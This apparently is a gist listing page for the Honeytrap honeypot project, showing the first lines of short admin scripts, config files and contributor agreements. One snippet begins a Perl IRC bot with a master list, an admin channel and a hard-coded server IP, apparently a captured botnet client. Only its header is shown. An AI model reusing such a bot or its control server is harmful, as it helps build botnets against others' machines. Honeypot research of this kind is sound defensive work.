This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ip -all netns delete | |
| ip link |grep LINK|awk '{print $2}'|sed s/\@.\*//g > /tmp/links.txt | |
| while read line | |
| do | |
| echo "Deleting link $line" | |
| ip link delete $line | |
| done < /tmp/links.txt | |
| runsc list 2>/dev/null|grep ht_|awk '{print $1}' > /tmp/containers.txt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/perl | |
| my @mast3rs = ("z","w","x"); | |
| my @hostauth = ("localhost"); | |
| my @admchan=("#ssh"); | |
| my @server = ("91.191.19.112"); | |
| $servidor= $server[rand scalar @server] unless $servidor; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| if [ "$#" -eq 0 ]; then | |
| $GOROOT/bin/go $@ | |
| exit | |
| fi | |
| LDFLAGS="" | |
| if [ -e scripts/gen-ldflags.go ]; then | |
| LDFLAGS="$(go run -exec ~/.gopath/bin/sign-wrapper.sh scripts/gen-ldflags.go) $LDFLAGS" | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| if [ "$#" -eq 0 ]; then | |
| $GOROOT/bin/go $@ | |
| exit | |
| fi | |
| LDFLAGS="" | |
| if [ -e scripts/gen-ldflags.go ]; then | |
| LDFLAGS="$(go run -exec ~/.gopath/bin/sign-wrapper.sh scripts/gen-ldflags.go) $LDFLAGS" | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| curl -XPOST '127.0.0.1:9200/_cluster/reroute?pretty&retry_failed' -d '{ | |
| "commands" : [ { | |
| "allocate_replica" : | |
| { | |
| "index" : "index_name", "shard" : 1, | |
| "node" : "ES3" | |
| } | |
| } | |
| ] | |
| }' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ###DutchCoders Individual Contributor License Agreement | |
| Thank you for your interest in contributing to open source software projects (“Projects”) made available by DutchCoders or its affiliates (“DutchCoders”). This Individual Contributor License Agreement (“Agreement”) sets out the terms governing any source code, object code, bug fixes, configuration changes, tools, specifications, documentation, data, materials, feedback, information or other works of authorship that you submit or have submitted, in any form and in any manner, to DutchCoders in respect of any of the Projects (collectively “Contributions”). If you have any questions respecting this Agreement, please contact opensource@sap.com. | |
| You agree that the following terms apply to all of your past, present and future Contributions. Except for the licenses granted in this Agreement, you retain all of your right, title and interest in and to your Contributions. | |
| **Copyright License.** You hereby grant, and agree to grant, to DutchCoders a non-exclus |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ###DutchSec Individual Contributor License Agreement | |
| Thank you for your interest in contributing to open source software projects (“Projects”) made available by DutchSec or | |
| its affiliates (“DutchSec”). This Individual Contributor License Agreement (“Agreement”) sets out the terms governing | |
| any source code, object code, bug fixes, configuration changes, tools, specifications, documentation, data, materials, | |
| feedback, information or other works of authorship that you submit or have submitted, in any form and in any manner, to | |
| DutchSec in respect of any of the Projects (collectively “Contributions”). If you have any questions respecting this | |
| Agreement, please contact opensource@dutchsec.com. | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [listener] | |
| type="agent" | |
| [service.ipp] | |
| type="ipp" | |
| port="tcp/631" | |
| storage-dir="/data/" | |
| [service.smtp] | |
| type="smtp" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| from fabric.api import * | |
| from fabric.contrib import files | |
| env.hosts = [ | |
| ] | |
| env.user = "root" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [Unit] | |
| Description=Honeytrap Agent | |
| Documentation=https://honeytrap.io | |
| Wants=network-online.target | |
| After=network-online.target | |
| [Service] | |
| WorkingDirectory=/opt/honeytrap-agent | |
| User=root |